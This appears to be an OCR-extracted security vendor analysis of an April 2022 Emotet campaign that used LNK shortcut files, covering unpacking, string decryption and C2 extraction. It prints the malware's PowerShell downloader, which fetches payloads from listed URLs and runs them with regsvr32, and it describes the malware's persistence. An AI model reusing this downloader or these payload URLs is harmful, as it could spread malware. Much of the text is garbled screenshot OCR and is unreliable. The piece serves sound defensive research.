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Summary

Emotet started as a banking_trojan in 2014 and later evolved to what has been considered
the world’s most dangerous malware by Europol, often used throughout the world to deliver
many different threats, including TrickBot.

In October 2020, Netskope analyzed an Emotet campaign that was using PowerShell and
WMI within malicious Office documents to deliver its payload. Later in 2021, we also spotted
new delivery mechanisms being used, including squiblytwo. However, the most popular
delivery mechanism used by Emotet to date is the malicious Microsoft Office document.

In January 2022, as an attempt to mitigate attacks via malicious Office documents, Microsoft
announced that VBA macros will be blocked by default in files downloaded from the internet,
which directly affected the way Emotet was being delivered. Netskope released a detailed
blog_post about this protection, anticipating that we would see the use of other types of files,
like LNK and VBS.

On April 26, 2022, a new Emotet campaign was spotted in the wild, where the usual Office
delivery system was replaced with LNK files, in a clear response to the VBA protection
launched by Microsoft. Netskope Threat Labs found 139 distinct LNK files that are part of the
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same campaign, delivering two distinct payloads that share the same C2 infrastructure.

In this blog post, we will analyze this Emotet campaign, from the new delivery mechanism to
the last payload.

Stage 01 — LNK Files

Usually, the initial stage of Emotet is a malicious Office document that abuses VBA macros
to download and execute the payload. In this new delivery system, Emotet abuses the LNK
file format (a.k.a. MS-SHLLINK and Shortcut) to execute a PowerShell script.

Looking at the file’s properties, we can see that the LNK target is pointing to the PowerShell
executable.

iielian
¢ form Properties x
Teminal Security Details Previous Versions
General Shorteut Options Fort Layout Colors
farm

Target type: Application

Target location: v1.0

Target: |C:'—-.‘."'.n'inu:h:uws'-.S'_.'stem 32" WindowsPowerShell'w 1 .I|

Emotet’'s LNK file.

Start in: |‘;-;cu:l‘;-; |

Shortout key: |Nn:-ne |

Run: Minimized et
Comment: || |
Open File Location Change lcon... Advanced...

Corca | [1060%
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Using the LNK parser tool, it's possible to extract more details, such as the command
executed by PowerShell. The command here decodes a large base64 string and saves the
output to a file in the user’s temporary folder. This file is the main script, which is deleted

after it's executed.

e h (UNICODE):
work irectory (UNICODE):
Arguments (UNICODE):

Icon location (UNICODE): shell32.d11
[Known Folder Location]
Known folde

First child segment offset: 221 bytes

Emotet’s PowerShell script, executed through the LNK file.

lacld4e77-02e7-4e5d-b744-2eblae5198b7 = System

The decoded script contains a list of URLs where Emotet’s payload is hosted. Once running,

it iterates over the list and makes a request using PowerShell’s Invoke-WebRequest function.

If the binary is successfully downloaded, it saves the file to Windows’ temporary directory

and executes it using regsvr32.exe.

§links=("htctp://

foreach (5u in 5links) {
try {
IWE $u -CutFile Senv:TEME/GMOWDTREIJ.xtq:
Eegsvr3Z.exe Senv:TEMFE/GMOWDTRELIJ.xtq:
break
}
catch { }

1

script executed by Emotet’s LNK file.

Main PowerShell

We found 139 distinctLNK files related to Emotet, sharing three different scripts, where the
only differences were the payload URLs. All the hashes can be found in our GitHub

repository.
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foreach :$u in $llnks} {tIy {IWR Su -OutFile Senv TEMP/GMOWDTRELJ. Xt
FEegsvr3Z.exe Senv:TEMP/GMOWDTREIJ.xtq;! ?0 ﬁles
break} catch { }}

|

http:// Al wger.net.ar/pruckba/ T11IRSgWEQAqlnImliTE/ ™) ;

foreach :su in $llnks} {txry {IWE Su DatFlle Senv:TEMP/LoqwxbPrZJz.LMo;
FegsvriZ.exe Senv:TEMP/LogwxbPrZJz.LMo; 61 ﬁles
break} catch { }}

]

SProgressPreference="Silentlyviontinus";
IWE http://focusmedica.in/fmlib/ITxBABMROTZcIM3qolGVy) -OutFile Senv:TEMP/znsrPecXVh.dHo!

FEegsvr3iZ.exe Senv:TEMP/znsrFecXVb.dMo
8 files

Similarities between the analyzed LNK files.

Stage 02 — Downloaded File

From the 139 LNK files we analyzed, we found 12 distinct URLs. Only 9 URLs were online at

the time of the analysis, delivering 2 distinct payloads.

PS C:\Users\ 0 \payloads> Get-ChildItem . | ForEach-Object {Get-FileHash
sha256} | Sort-Object Hash

Algorithm Hash

885696FFAF5DD38806C8F/BFF2C8BC/06421C9B4F0C2B0A9DSE520
SHA256 ' ' 96FFAF5DD38806C8F/ C8BC706421C9B4F0C2B0AIDES20

SHA256 i ) C8BC706421C9B4F0C2B0A9DE520
SHA256 b 3 6 6 C8BC706421C9B4F0C2B0AIDE520
SHA256 6BDAC7 50FD1885696FF AF 5DD38806C8F 7BFF 2C8BC7 064 21C9B4F0C2B0A9D8520
SHA256 E05243eC70891D7 5BBD33D5AC93A6A4F40ADCDIDOF9E3EG6F8A9CC2331B5C11CH
SHA256 E05243eC70891D7 5BBD33D5AC93A6A4F40ADCD1DOF9E3EGF8A9CC2331B5C11CH
SHA256 E05243eC70891D75BBD33D5AC93A6A4F40ADCD1DOF9E3E6F8A9CC2331B5C11CH
SHA256 E05243EC70891D7 5BBD33D5AC93A6A4F40ADCD1DOF9E3EGFBA9CC2331B5C11CH

Payloads delivered by Emotet URLSs.

These payloads are packed Emotet samples, both 64-bit DLLs with different compilation
timestamps. The first one was likely built on April 25, 2022, and the second on April 27,
2022.
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File type
PEG4

| PE
Sections
0006 >
Scan
Detect It Easy(DiE)
Library
Compiler

Linker

File type
PEG4

Detect It Easy(DiE)

Compiler

Linker

Entry point Base address

000000001 0020680 > Disasm 000000001 0000000

Export Import

Time date stamp Size of image Resources
2022-04-25 14:02:11 00084000 Manifest

Endianness Mode Architecture

LE 64-hit AMDo4

MFC(-)[static]
Microsoft Visual C++ (2005)[-]
Microsoft Linker(8.0 or 11.00[DLLG4]

Entry point
0000000 18002625¢C ® D

Export Import

Time date stamp Size of image Resources
2022-04-27 11:08:07 0006e0D Manifest
Endianness Mode Architecture

LE 6<4-bit AMDo4

Microsaoft Visual C/C++(-])[-]
Microsoft Linker(14.31**)[DLLE4]

Comparison between the two downloaded payloads.
Emotet’s main payload is encrypted and stored in the resources of both packed samples,

which despite some differences, are using the same technique to decrypt and load Emotet.

Memory map

Type
DLL

Memory map

Type
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[BH Resource Hacker - payload1.bin

File

0 i@

Edit View Action

= B

Help

O >
RCData : 22336: 1033

| Cursor

| Bitmap

J Icon

| Dizlog
String Tahle

J RCData

- 22336 : 1033
| Cursor Group

| Icon Group

| Manifest

3 e =

AW e 0(QOERPeO
000522RC |[3E 3C F4 76 68 63 39 22 &5 6B 75 47 B2 B7 49 6F A | »< wvhci{ekuG Io
000522BC F4 S50 00 73 €6 €4 76 €B 23 39 28 €61 6B 75 47 47 P sfdwvk#3{akuGs
000522CC |42 49 &F 4C 50 00 73 €6 64 76 6B €3 39 22 &1 6B HIoLP sfdvkc9{ak
000522DC |75 47 47 45 49 6F 4C 50 00 73 66 64 CE 6B €3 39 uGGHIoLP sfd kcd
000522EC |26 7E D1 7B 47 F3 41 24 4E F4 51 4C BE 47 30 1E &~ {G A N QL GO
000522FC |02 10 19 58 13 04 12 35 26 25 €9 0C 2D 3E &E 1C X S5&%i ->n
0005230C |12 44 14 0OE 43 4B 5D OF 4B 1C 29 €7 0C 0g 3C eC D CKE] K )lg <1
0005231C |(3D €F 17 03 42 7B 66 €9 1D 22 €1 6B 75 47 47 4= =0 J{fi {akuGGH
0005232C |[ED 4B EE 70 EO 36 RR 17 96 2E AF 44 C2 24 A7 06 Ep & . J 5
0005233C ||[DR 7B €1 3A 34 08 9C 73 EE 5 74 05 2R 26 F5 SB {a:4 3 Zt =& [
0005234C ||FC 57 €7 34 4¢ 0D 25 1C 1E 39 €3 1B 26 21 BL 18 Wgd 9 I
0005235C |63 39 22 €1 6B 75 47 47 18 0OC 6F 4C 34 26 77 &6 cOfakuGc old wf
0005236C | 1A A2 35 01 39 25 €1 €B 75 47 47 48 B9 &F gE 70 5 9{akuGGH onp
0005237C (0B 71 6R €4 7€ 27 61 39 25 4D 6B 75 47 47 4% 49 qijdv'ad (MkusGHI
0005238C |27 BC 51 00 73 76 64 76 €B €3 39 A2 €0 €B 75 47 " Q swdvkecd “ku&
0005239C |47 55 49 €F 4C 52 00 73 &0 €4 76 6B €3 39 25 &1 GXIoLR s dvkcoi(a
O00S5230C |(6D 75 47 47 48 49 §F 4AC 50 A0 71 66 €4 72 €B €3 muEGHIoLP gfdrke
000523BC |39 28 61 €B 77 47 27 49 49 gF 5C 50 00 73 &6 &4 S{akwz"IIo\P s£fd
000523CC |76 7B €3 39 28 €1 6B 75 47 47 58 49 gF 4C 50 00 v{c9 (akuGEEIocLP
000523DC |73 76 64 76 6B €3 39 28 &1 €B 75 47 57 4% 49 gF svdvkcd {akuGHHIo
OO0S23EC |[BC 3% 02 73 2C 64 76 €B 63 39 28 61 €B 75 47 47 9 s5,dvkcH{akuGG
000523FC |42 459 &F 4C 50 00 73 €6 64 E6 €9 €3 29 23 &1 6B HIoLP sfd ic)#ak
00052400 |75 47 47 48 49 6F 4C 50 00 73 66 64 76 6B €3 39 uGGHIoLPE sfdvkcd
OONS241C |72 &1 £ 760 A7 A7 A2 AG £F A BN NN 72 £ &4 78 N {aluGGHIoLE sfdv

Ed E Binary View

26000 [ 522AC

Encrypted Emotet payload.
Once running, the packer allocates and executes a shellcode, responsible for the payload
decryption process.

Selection - Offset: 0 Length: 0

Address

Hex

ASCITI

0000000000670000
0000000000670010
0000000000670020
0000000000670030
0000000000670040
0000000000670050
0000000000670060
0000000000670070
0000000000670080
0000000000670090
000000000067 00A0
000000000067 0080
00000000006700C0
000000000067 00D0
00000000006700ED
000000000067 00F0
0000000000670100

48
55
co
48
48
49
4D
4D
44
22
00
45
.
61
79
6C
74

89
41
01
E9
89
65
78
68
BB
89
c7
18
53
G4
41
41
c7

5C
56
00
45
4D
48
48
66
4D
44
45
2E
6C
c7
c7
c7
45

24
41
00
42
00
89
89
89
F4
24
10
00
65
44
44
44
84

10
57
Sig)
23]
4D
4D
4D
4D
44
2A
65
64
65
24
24
24
75

48
48
co
c9
&B
70
50
40
88
66
00
0o
C6
54
40
48
61

89
8D
c7
89
F8
48
48
66
4D
89
6C
c7
44
ac
56
6C
6C

50

Shellcode responsible for decrypting Emotet.
Then, it loads the resource data and decrypts it using a simple rolling XOR algorithm with a
small string as the key, revealing Emotet’s payload.

24
24
08
4A
89
4D
4D
4C
66
24
c7
1c
3C
62
72
6F
c7

08
40
6B
49
4D
30
58
24
Ba
2E
45
6C
70
72
74
63
45

55
FF
00
8B
38
48
48
20
45
c7
14
00
c7
c7
c7
c7
&8

56
FF
65
Fo
ac
89
89
B9
4E
45
313
6C
44
44
44
45
72

57
FF
00
48
8B
4D
4D
13
48
0C
00
00
24
24
24
80
6F

41
48
45
g9
EA
20
60
9c
&89
72
23
c7
50
58
44
56
74

52
81
8B
4D
44
48
48
BF
44
00
00
44
AC
61
75
69
65

41
EC
F1
28
ED
E9
g ]
BD
24
6E
c7
24
6F
72
61
72
66

H.H$.H.L§.U¥WATA
UAVAWH. = SEyyyH.
A...3ACE.k.e.H.f
H.EB3E.EJI. UH.M(
H.M.M.BH.MEL. &D.
IeH.MpH.MOH.M H.
MxH.MPH. MXH. M H.
mhf.maf.Ls "..:%
D.MOD. MOF. ENH. DS
".D$*F.DS.CE.r.n
.CE.e.1.CE.3.2.

E...d.CE.1.1.¢CD

BsleesD$<pCDIPLO
adcD$TLibrcoixar
¥A§D$@Virt§D$Dua
ACDSH1TocCE. vir
TCE.ualPCE.rotef
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sub rbx,rax
movsxd rax,réd
xor edx,edx

div

add r8d,rod

mov al,byte ptr ds:[rdx+ri3] rdx+r13+*1:"“fdvkc9(akuGGHIOLP
xor al,byte ptr ds:[rbx+rcx]

is:[rcx],al

d ri3d:
r s=:firbpll,r13

| ASCII
6F | B<ovhc9(ekuG, - To
47| 6P, sTdvk#9 (akuGe
6B | HIoLP.sfdvkco(ak
39|
1E
1c|..

-LitTt
Cam cannd
1 in DOS

11

g e

=}
B
m
o
=
w
w
[=]
®

3 .n::[D::.;.saEI:

il
2l

o oo
o w
(=
oD
m o4
=
4= o
1n

0 8O
)0 00|00
02 00100

Emotet’s unpacking process.
We created a Python script that can be used to statically decrypt and extract Emotet’s
payload from the loader/packed sample.

Python script used to unpack Emotet.
As previously mentioned, both files unpack Emotet using the same process. The only
difference is the decryption key.
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mowv
mowv
mov
mow
mowv
mov
mov
mowv
mowv
mov
mov
mowv
mowv
mov
mowv
mowv
mov
mov
lea
lea
mov
mov
mowv
rep
mov
mowv
mowv
call
mov
cmp
jnz

[rsp+@CB8h+var_85],
[rsp+8C88h+var_B84],
[rsp+8CB8h+var_83],
[rsp+@CB8h+var_82],
[rsp+@CBBh+var _81],
[rsp+8CB8h+var_88],
[rsp+8CB8h+var_7F],
[rsp+@CBBh+var 7E],
[rsp+@CBBh+var_70],
[rsp+8CB8h+var_7C],
[rsp+8CB8h+var 7B],
[rsp+@CBBh+var 7A],
[rsp+8CB8h+var_79],
[rsp+8CB8h+var_78],
[rsp+@CBBh+var_77],
[rsp+@CBBh+var_76],
[rsp+8C88h+var_75],
[rsp+8CB8h+var_74],
rax, [rsp+8CB8h+var

SFh ;
85h ;
@Dh
@D5h ;
60h ;
@

60h ;
18h
ench ;
21h ;
4Eh ;
SBh ;
1Ah
@B3h ;
8%h ;
3Bh ;
14h
@Beh ;
68]

|f—}|

.I:I.

N
I

130

e

",
>

g

rex, aSulvabyBnyutE 3 "sUlvabY@3»DFyUtcf) 9% +V16irbD>olEE"<$@P™. . .

rdi, raxg

rsi, rcff@aSulvaby3Dfyutc db *sUlvabY@3»DFyUtcf)9%"+V16irbD>0lEE < $@PWU] sROM+Ks#j1mrXgkTE" , 8
; DATA XREF: sub_1808026B8+5975t0

ecx, 3C

movsh

[rsp+8CB8h+var_BCA], @
[rsp+@CB8h+var BC8], @B35h
ecx, [rsp+B8CBBh+var BCE]
mw_map_section
[rsp+8CB8h+var_BCA], rax
[rsp+@CB8h+var BCB], @
short loc_1350008062

Decryption key used in the second payload.

Stage 03 — Emotet Payload

In the third stage, we have two 64-bit Emotet DLLs that were extracted from the two
loaders/packed samples. They share many similarities, such as the real DLL name, the
compiler, and some C2 server addresses. The first one was likely compiled on April 19,

2022, and the second one on April 26, 2022.
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File type Entry point
PES4 000000018001f048 =3 Disasm Memory map

Time date stamp Size of image
T TR
2022-04-19 08:25:50 00023000

Endianness Mode Architecture

Detect It Easy(DiE) LE 64-hit AMDG4

Compiler MASMI-)-]
Linker Microsoft Linker(12.0%)[DLLGE4]

File type Entry point
PES4 000000018000f150 =3 Disasm Memory map

Export

Time date stamp Size of image
2022-04-26 13:03:22 0002b000
Endianness Mode Architecture
Detect It Easy(DiE) LE a4-hit AMDG4
Compiler MASM-I-]
Linker Microsoft Linker(12.0°)[DLLG4]

Comparison between the two Emotet payloads.
The real name for both files is “Y.dlII”.

3

; Export Ordinals Table for Y.dll

word_1888284D8 dw © DATA XREF: .rdata:@@00e88130028AC4T0
a¥D11 db 'Y.d11',® DATA XREF: .rdata:0@000888180028AACTO
aDllregisterser db "Dl11RegisterServer’,B

; DATA XREF: .rdata:off_188828ACCTo

align 88&h
_rdata ends

Emotet’s DLL real name.
For persistence, Emotet creates a Windows service to execute itself via regsvr32.exe.
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Mame

EI-'E(D'

Type
REG_SZ

ab] Description REG_SZ
ab]| DisplayMarme REG_SZ
1% ErrorControl REG_DWORD

ﬂﬂlmagepath

ab| ObjectName REG_SZ

| Start
%4 Type

REG_DWORD
REG_DWORD

REG_EXPAND_SZ

Data

(value not set)

Provides infrastructure support for deploying Store applications. This service is started on demand

cgyvhenwwh
(e 0DODO000 (0)

CAWindowsh\system32\regsvri2.exe "C\Windows'system 32\ Liywnufkdeyon\.cgyvhensnwb”

LocalSystem
0r 00000002 (2)
000000010 (16)

All the important strings used by Emotet are encrypted, located in the PE .text section.

Ctext:
Ctext:
Jtext:
text:
Ctext:
Ctext:
Jtext:
text:
:PPBRBER1E8RBR188E

Ltext

Ctext:
Jtext:
text:
Ctext:
Ctext:
Jtext:
text:
Ctext:
Ctext:
Jtext:
text:
Ctext:
Ctext:
Jtext:

B888BB81588816680
Begeeee1s50881000
poopperls00e10ee
B8888881588816881
BBBBBB81588816882
Beeeeee150881083
pooppeplsooelead
B888888158881885

Beeeeeels8881087
poeppeR1s30801083
B8888881588816889
288888813888188A
BBeeeee150808010088
poobpeslspeeleac
B888888158881688D
8888888 15888188E
22888801 8000108F
poeppe1s30881081e
B888888158881811
BBBeBBe1588816812
Beeeeee1888810813
pooppeplspeeleld

unk_138881888

assume es:nothing,
BAAR ;

db

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

8Bh
BDAR
35h
BAZh
8Bh
BDAR
35h
8Fh
BFsh
BFFh
A6h
84h
BEEh
BAZh
58h
&67h
9Bh
33h
80Dh
gFeh

3

d

LA Ty oo =/ WA Ty o

=

T

=l v 0O O A

5

Emotet encrypted string.

To decrypt the string, this sample uses the same algorithm that is found in 32-bit samples.
The first four bytes are the decryption key, followed by the length and the encrypted string.
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b'¥s\\¥s "

b'¥s\\regswvr32.exe "¥s\\¥s"'

b Es\EsRw
b'SOFTWAREN WMicrosoft\ \Windows\\CurrentVersion‘\Run"

b'¥s\\regswr32.exe "¥s\\¥s" ¥s'

b'¥u.¥u. Hu.¥u’
b'\r\n--%5--"
b'Cookie: ¥s=sirin’
b'Content-Type: multipart/form-data; boundary=%s\rin’

b'r\n--#shr\nContent-Disposition: form-data; name="#s"

b'crypt32.dll’
b'wtsapi32.dll’
b'userenv.dll"’
b'adwvapi32.dll’
b'urlmon.dll”
b'shlwapi.dll’
b'bcrypt.dll’
b'shell32.dll’
b'wininet.dll’'
b'RNG'

All the decrypted strings can be found in our GitHub repository. For the C2 addresses,
Emotet uses the same logic, but the data is located in the PE .data section.

.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:

Encrypted C2 addresses

* Part of decrypted Emotet strings.

00000001800290888 ; Segment type: Pure data
0P0e080180029080 ; Segment permissions: Read/Write

0BpeBeR1800259008 _data

oopeseplsea29e0e
fpeeBeRl3RR29000

00peEER150025660 unk_ 18808295800

fopeBeRlseR29001
fopesepl1sea29e02
fppeBeelsea29e83
oopeBeplsea2seed
obpeBeRlsea29085
BBeEBeR13RB29006
oopeBeplsea2sea?
BepeBeR15eB29003
fopesepl1see290809
feeeee01se02900A
0BpeBeR13RE2900B
odepeeelsea2seec
feeeBeRl3eB29080
fopeBeRlsee2908E

segment para public 'DATA' usebd

assume cs:_data

;org 180829288h

db 38h ; 8 ; DATA XREF: sub_188e@D398+188to
db @FDh ; ¥

db 8B9h ; *?

db 1Eh

db 8CBh ; A

db BFCh ; 0

db 8B%h ; *?

db 1Eh

db 88h ;

db BE2h ;
db @FBh ;
db  44h ;
db 38h ;
db 46h ;
db BBSh ;

[ T Wio v o o

We found 63 IP addresses in each binary we analyzed. To extract this information statically,
we used a Python script that parses the file and implements the same decryption logic.
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Python script to extract Emotet’s C2 addresses.

Conclusions

Emotet has already proven to be extremely resilient, as even after a global collaboration
among law enforcement agencies in January 2021 disrupted the malware’s infrastructure,
the botnet managed to return to its activities in late 2021. Replacing the delivery mechanism
from malicious Office documents with another file format shows that the attackers are
constantly adapting Emotet to remain active.

Protection

Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for all
known threat indicators and payloads.

* Netskope Threat Protection
o Shortcut.Trojan.GenAutorunLnkFile
o Win64.Trojan.Emotet
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https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation
https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet

* Netskope Advanced Threat Protection provides proactive coverage against this
threat.
o Gen.Malware.Detect.By.StHeur indicates a sample that was detected using static
analysis
o Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by our
cloud sandbox

I0OCs

All the 10Cs related to this campaign, the scripts, and the Yara rules can be found in our
GitHub repository.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Emotet

